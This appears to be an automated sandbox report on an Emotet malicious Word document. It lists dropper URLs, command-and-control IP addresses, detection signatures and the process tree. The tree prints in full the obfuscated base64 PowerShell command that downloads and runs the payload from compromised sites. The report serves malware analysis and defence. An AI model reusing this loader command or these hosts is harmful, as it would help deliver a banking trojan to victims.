Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    59s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    18/08/2020, 16:25

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_a231cdf6b7564ac4035d104c8b5727f82eccf0830126ae8aa454432330d0d7a8_2020-08-18__162358._doc.doc
  • Size 176KB
  • Sample200818-nncl4jk2xe
  • SHA256 a231cdf6b7564ac4035d104c8b5727f82eccf0830126ae8aa454432330d0d7a8
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://jamesmalonefabrics.com/wp-admin/YS2TYA3NbL/
  • exe.dropper

    https://www.inudyog.com/wp-admin/i2/
  • exe.dropper

    https://88yinliu.com/wp-admin/VffcvPGr/
  • exe.dropper

    http://guarany.net/zefiro/gSI5r781/
  • exe.dropper

    https://www.thedcsstudio.com/wp-content/23Q1D22128/
  • exe.dropper

    http://bethagroup.com.au/3GrPP0533/

Extracted

Family

  • emotet

C2

  • 82.163.245.38:80

  • 209.126.6.222:8080

  • 5.153.250.14:8080

  • 186.70.127.199:8090

  • 190.128.173.10:80

  • 190.195.129.227:8090

  • 91.219.169.180:80

  • 45.173.88.33:80

  • 185.33.0.233:80

  • 188.2.217.94:80

  • 207.144.103.227:80

  • 45.161.242.102:80

  • 219.92.13.25:80

  • 190.163.31.26:80

  • 68.183.170.114:8080

  • 191.99.160.58:80

  • 73.213.208.163:80

  • 94.176.234.118:443

  • 104.131.41.185:8080

  • 45.33.77.42:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_a231cdf6b7564ac4035d104c8b5727f82eccf0830126ae8aa454432330d0d7a8_2020-08-18__162358._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1032
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABUADUAbABmAHkAZgA4AD0AKAAnAFAAZgAnACsAJwA2AGwAOAB2ACcAKwAnAHoAJwApADsALgAoACcAbgAnACsAJwBlAHcALQBpAHQAZQAnACsAJwBtACcAKQAgACQARQBuAHYAOgB0AEUAbQBwAFwAbwBmAEYASQBDAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAFIAZQBDAFQATwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBJAFQAeQBwAHIAbwBgAFQAbwBjAGAAbwBMACIAIAA9ACAAKAAnAHQAJwArACcAbABzADEAJwArACcAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAJwArACcAcwAnACkAOwAkAFoAYQBvAGsAXwBrADcAIAA9ACAAKAAnAE0AegBfADAAZgBmACcAKwAnADMANwBvACcAKQA7ACQAWQB2AGUAOAAzADUAOAA9ACgAJwBWAGQAaABtAGIAJwArACcAbgBvACcAKQA7ACQATgBrADAAYwA1ADcAbQA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACcAbgBUAHMATwAnACsAJwBmAGYAJwArACcAaQBjAGUAMgAwADEAOQBuAFQAcwAnACkAIAAgAC0AYwBSAEUAUABMAEEAYwBFACcAbgBUAHMAJwAsAFsAQwBoAEEAUgBdADkAMgApACsAJABaAGEAbwBrAF8AawA3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABMAHkAYgBiAGMAbwBsAD0AKAAnAFUAawBrADkAJwArACcAbwAnACsAJwB3AGMAJwApADsAJABNAF8AbwBzAGkAZABpAD0AJgAoACcAbgBlAHcALQBvACcAKwAnAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAHcAZQBCAEMAbABpAEUAbgB0ADsAJABUADIAdgA5AHYAdABoAD0AKAAnAGgAdAB0AHAAOgAvAC8AagBhAG0AZQBzAG0AYQAnACsAJwBsAG8AbgAnACsAJwBlAGYAYQAnACsAJwBiACcAKwAnAHIAJwArACcAaQBjAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvACcAKwAnAFkAUwAyAFQAJwArACcAWQBBADMATgBiAEwALwAqAGgAdAAnACsAJwB0AHAAcwAnACsAJwA6AC8ALwB3AHcAdwAuAGkAbgAnACsAJwB1AGQAJwArACcAeQAnACsAJwBvAGcALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtAGEAJwArACcAZABtACcAKwAnAGkAbgAnACsAJwAvAGkAMgAvACoAaAB0AHQAcABzADoALwAvADgAOAB5ACcAKwAnAGkAJwArACcAbgBsAGkAdQAuACcAKwAnAGMAbwBtAC8AJwArACcAdwBwACcAKwAnAC0AYQAnACsAJwBkACcAKwAnAG0AaQAnACsAJwBuAC8AVgBmAGYAYwB2AFAARwByAC8AJwArACcAKgBoAHQAdABwADoAJwArACcALwAvAGcAdQBhAHIAYQAnACsAJwBuAHkALgBuACcAKwAnAGUAdAAvAHoAJwArACcAZQBmAGkAcgBvACcAKwAnAC8AJwArACcAZwBTAEkANQByACcAKwAnADcAOAAxAC8AKgBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB3AHcALgB0AGgAJwArACcAZQBkACcAKwAnAGMAcwBzAHQAdQBkAGkAbwAuAGMAbwBtAC8AdwAnACsAJwBwACcAKwAnAC0AYwBvAG4AdAAnACsAJwBlACcAKwAnAG4AdAAvADIAMwBRACcAKwAnADEARAAyADIAJwArACcAMQAyADgALwAqAGgAJwArACcAdAB0AHAAOgAnACsAJwAvAC8AYgBlACcAKwAnAHQAaABhAGcAcgBvAHUAcAAuACcAKwAnAGMAbwBtAC4AYQB1ACcAKwAnAC8AMwBHAHIAUABQADAANQAzACcAKwAnADMALwAnACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVQBjAGgAbAB0AHoAbwA9ACgAJwBLAGwAJwArACcAMwB3ADQAZgB5ACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAMwBlAHYAOQBzAHMAIABpAG4AIAAkAFQAMgB2ADkAdgB0AGgAKQB7AHQAcgB5AHsAJABNAF8AbwBzAGkAZABpAC4AIgBEAG8AVwBuAGAATABgAE8AYQBkAGAARgBJAGwAZQAiACgAJABEADMAZQB2ADkAcwBzACwAIAAkAE4AawAwAGMANQA3AG0AKQA7ACQATwA2AHoAZAA2AG4AdQA9ACgAJwBHADEAZQAnACsAJwByAHQAXwBoACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABOAGsAMABjADUANwBtACkALgAiAGwAZQBuAEcAYABUAGgAIgAgAC0AZwBlACAAMgA0ADIAOAAwACkAIAB7AC4AKAAnAEkAbgAnACsAJwB2AG8AawBlACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAKAAkAE4AawAwAGMANQA3AG0AKQA7ACQAVQB2ADAAZgBjADMAMgA9ACgAJwBBAHgAMgB4ADEAdwAnACsAJwB5ACcAKQA7AGIAcgBlAGEAawA7ACQAUgBuAHQAOABfAHUAcAA9ACgAJwBSAGIANQAnACsAJwB2ADkAcgAnACsAJwBwACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATwB2AGEAdgB6AHIAcgA9ACgAJwBZADUANgAyACcAKwAnADUAOAB1ACcAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:696
    • C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe
      "C:\Users\Admin\AppData\Local\Temp\Office2019\Mz_0ff37o.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1764
      • C:\Windows\SysWOW64\mssign32\mspaint.exe
        "C:\Windows\SysWOW64\mssign32\mspaint.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1648

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/696-10-0x000007FEF2170000-0x000007FEF2B5C000-memory.dmp
        Download

        memory/696-16-0x000000001C590000-0x000000001C591000-memory.dmp
        Download

        memory/696-11-0x0000000001F80000-0x0000000001F81000-memory.dmp
        Download

        memory/696-12-0x000000001ACC0000-0x000000001ACC1000-memory.dmp
        Download

        memory/696-13-0x0000000002330000-0x0000000002331000-memory.dmp
        Download

        memory/696-14-0x0000000002360000-0x0000000002361000-memory.dmp
        Download

        memory/696-15-0x00000000026E0000-0x00000000026E1000-memory.dmp
        Download

        memory/1032-2-0x0000000008990000-0x0000000008994000-memory.dmp
        Download

        memory/1032-9-0x0000000006DF0000-0x0000000006FF0000-memory.dmp
        Download

        memory/1032-7-0x000000000BB50000-0x000000000BB54000-memory.dmp
        Download

        memory/1032-6-0x000000000AAD0000-0x000000000AAD4000-memory.dmp
        Download

        memory/1648-23-0x0000000000290000-0x000000000029C000-memory.dmp
        Download

        memory/1764-19-0x0000000000390000-0x000000000039C000-memory.dmp
        Download

        memory/1856-24-0x000007FEF2890000-0x000007FEF2B0A000-memory.dmp
        Download